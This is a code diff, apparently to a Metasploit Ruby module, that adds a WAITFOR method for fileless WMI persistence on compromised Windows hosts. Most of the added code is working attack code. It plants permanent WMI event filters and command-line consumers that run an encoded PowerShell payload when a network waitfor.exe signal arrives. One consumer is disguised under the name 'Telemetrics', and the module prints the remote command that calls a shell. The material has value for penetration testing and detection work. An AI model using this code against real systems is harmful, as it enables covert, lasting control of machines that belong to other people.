@@ -19,16 +19,18 @@ def initialize(info = {})
19
19
'Name' => 'WMI Event Subscription Persistence' ,
20
20
'Description' => %q{
21
21
This module will create a permanent WMI event subscription to achieve file-less persistence using one
22
- of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
22
+ of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
23
23
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
24
24
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
25
25
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
26
26
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
27
27
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
28
- method will create an event filter that triggers the payload when the specified process is started. Additionally a custom
29
- command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires
30
- administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads
31
- due to powershell script length limitations.
28
+ method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
29
+ creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
30
+ before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
31
+ (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
32
+ activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
33
+ high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
32
34
} ,
33
35
'Author' => [ 'Nick Tyrer <@NickTyrer>' ] ,
34
36
'License' => MSF_LICENSE ,
@@ -50,13 +52,15 @@ def initialize(info = {})
50
52
51
53
register_options ( [
52
54
OptEnum . new ( 'PERSISTENCE_METHOD' ,
53
- [ true , 'Method to trigger the payload.' , 'EVENT' , [ 'EVENT' , 'INTERVAL' , 'LOGON' , 'PROCESS' ] ] ) ,
55
+ [ true , 'Method to trigger the payload.' , 'EVENT' , [ 'EVENT' , 'INTERVAL' , 'LOGON' , 'PROCESS' , 'WAITFOR' ] ] ) ,
54
56
OptInt . new ( 'EVENT_ID_TRIGGER' ,
55
57
[ true , 'Event ID to trigger the payload. (Default: 4625)' , 4625 ] ) ,
56
58
OptString . new ( 'USERNAME_TRIGGER' ,
57
59
[ true , 'The username to trigger the payload. (Default: BOB)' , 'BOB' ] ) ,
58
60
OptString . new ( 'PROCESS_TRIGGER' ,
59
61
[ true , 'The process name to trigger the payload. (Default: CALC.EXE)' , 'CALC.EXE' ] ) ,
62
+ OptString . new ( 'WAITFOR_TRIGGER' ,
63
+ [ true , 'The word to trigger the payload. (Default: CALL)' , 'CALL' ] ) ,
60
64
OptInt . new ( 'CALLBACK_INTERVAL' ,
61
65
[ true , 'Time between callbacks (In milliseconds). (Default: 1800000).' , 1800000 ] ) ,
62
66
OptString . new ( 'CLASSNAME' ,
@@ -104,6 +108,11 @@ def exploit
104
108
psh_exec ( subscription_process )
105
109
print_good "Persistence installed!"
106
110
@cleanup
111
+ when 'WAITFOR'
112
+ psh_exec ( subscription_waitfor )
113
+ cmd_exec ( "waitfor.exe #{ datastore [ 'WAITFOR_TRIGGER' ] } , time_out = 0" )
114
+ print_good "Persistence installed! Call a shell using \" waitfor.exe /S <target_ip> /SI " +datastore [ 'WAITFOR_TRIGGER' ] +"\" "
115
+ @cleanup
107
116
end
108
117
end
109
118
@@ -169,6 +178,21 @@ def subscription_process
169
178
end
170
179
171
180
181
+ def subscription_waitfor
182
+ command = build_payload
183
+ word = datastore [ 'WAITFOR_TRIGGER' ]
184
+ class_name = datastore [ 'CLASSNAME' ]
185
+ <<-HEREDOC
186
+ $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" #{ class_name } \" ; Query = \" SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\" ; QueryLanguage = 'WQL'}
187
+ $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \" #{ class_name } \" ; CommandLineTemplate = \" cmd.exe /C waitfor.exe #{ word } && #{ command } && taskkill /F /IM cmd.exe\" }
188
+ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
189
+ $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \" Telemetrics\" ; Query = \" SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\" ; QueryLanguage = 'WQL'}
190
+ $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \" Telemetrics\" ; CommandLineTemplate = \" waitfor.exe #{ word } \" }
191
+ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
192
+ HEREDOC
193
+ end
194
+
195
+
172
196
def log_file ( log_path = nil ) # Thanks Meatballs for this
173
197
host = session . session_host
174
198
filenameinfo = "_" + ::Time . now . strftime ( "%Y%m%d.%M%S" )
@@ -186,13 +210,24 @@ def log_file(log_path = nil) # Thanks Meatballs for this
186
210
187
211
188
212
def cleanup
189
- name_class = datastore [ 'CLASSNAME' ]
190
- clean_rc = log_file ( )
191
- clean_up_rc = ""
192
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
193
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
194
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" #{ name_class } \\ \" ' DELETE\" "
195
- file_local_write ( clean_rc , clean_up_rc )
196
- print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
213
+ if datastore [ 'PERSISTENCE_METHOD' ] == "WAITFOR"
214
+ name_class = datastore [ 'CLASSNAME' ]
215
+ clean_rc = log_file ( )
216
+ clean_up_rc = ""
217
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
218
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
219
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" Telemetrics\\ \" ' DELETE\" "
220
+ file_local_write ( clean_rc , clean_up_rc )
221
+ print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
222
+ else
223
+ name_class = datastore [ 'CLASSNAME' ]
224
+ clean_rc = log_file ( )
225
+ clean_up_rc = ""
226
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
227
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
228
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" #{ name_class } \\ \" ' DELETE\" "
229
+ file_local_write ( clean_rc , clean_up_rc )
230
+ print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
231
+ end
197
232
end
198
233
end
0 commit comments